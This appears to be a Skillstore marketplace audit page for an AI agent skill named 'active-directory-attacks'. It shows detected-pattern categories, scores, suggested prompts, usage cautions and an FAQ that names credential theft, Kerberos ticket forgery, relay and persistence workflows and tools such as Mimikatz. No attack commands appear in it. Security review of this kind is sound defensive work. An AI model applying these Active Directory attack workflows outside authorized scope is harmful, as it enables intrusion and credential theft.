references/advanced-attacks.md:233 references/advanced-attacks.md:296 SKILL.md:268 SKILL.md:59 SKILL.md:83 SKILL.md:119 SKILL.md:122 SKILL.md:131 SKILL.md:137 SKILL.md:149 SKILL.md:164 SKILL.md:203 SKILL.md:204 SKILL.md:205 SKILL.md:208 SKILL.md:209 SKILL.md:245 SKILL.md:256 SKILL.md:262 SKILL.md:279 SKILL.md:282 SKILL.md:285 SKILL.md:288 SKILL.md:295 SKILL.md:298 SKILL.md:305 SKILL.md:348 SKILL.md:351 SKILL.md:357 SKILL.md:367
📁 Filesystem access (3)
Detected Patterns
Malware type keywords×5Windows registry accessWeak cryptographic algorithm×5Secure file deletionSystem reconnaissance×4Network reconnaissance×7Network scanning tools
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-active-directory-attacks/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-active-directory-attacks.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
zebbern. (2026). active-directory-attacks security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6BibTeX citation
@techreport{zebbern-sickn33-active-directory-attacks-2026,
author = {zebbern},
title = {active-directory-attacks security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "active-directory-attacks security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-active-directory-attacks:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 41
Architecture
85
Maintainability
87
Content
70
Community
91
Spec Compliance
What You Can Build
Plan an Authorized AD Assessment
Build a scoped checklist for reconnaissance, credential review, Kerberos testing, and reporting.
Validate Lab Attack Paths
Compare lab findings against known AD abuse paths and ticket attack categories.
Teach AD Attack Concepts
Use the reference to explain common AD weaknesses and required safety controls in a classroom lab.
Try These Prompts
Review Safety Scope
For my authorized Active Directory lab, summarize the prerequisites, safety limits, and documentation steps before using this skill.
Create Recon Checklist
Create a scoped reconnaissance checklist for an approved Active Directory assessment using only non-destructive discovery steps.
Compare Attack Categories
Compare the credential, Kerberos, relay, and AD CS attack categories in this skill for a controlled test environment.
Build Assessment Plan
Build an authorized Active Directory attack path assessment plan with objectives, evidence handling, rollback controls, and reporting sections.
Best Practices
- Use only with written authorization, defined scope, and approved test windows.
- Prefer isolated labs when learning techniques that change authentication, tickets, certificates, or AD objects.
- Record evidence, affected accounts, rollback actions, and cleanup status for every tested path.
Avoid
- Do not run commands from the skill against systems outside the approved scope.
- Do not perform password spraying, credential dumping, or relay testing without lockout and impact controls.
- Do not leave tickets, certificates, accounts, scheduled tasks, or policy changes after a test.
Frequently Asked Questions
Is this skill defensive or offensive?
It is an offensive Active Directory assessment reference for authorized red team and lab use.
Does the skill run attacks automatically?
No. It is a Markdown reference, but it contains commands that users could execute manually.
Can I use it on production networks?
Use it only with written authorization, approved scope, and documented safety controls.
Which tools does it reference?
It references tools such as Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec, PowerView, and Certipy.
Does it include defensive remediation?
It includes limited constraints and troubleshooting, but it is not a hardening or detection guide.
Why is marketplace review important for this skill?
The skill contains detailed credential theft, ticket forgery, relay, exploit, and persistence workflows.
Developer Details
Author
zebbernLicense
MIT
Skillstore revision
r1
Version notice
The author did not declare a version.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/active-directory-attacksRef
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
6 downloads · 199 views
File structure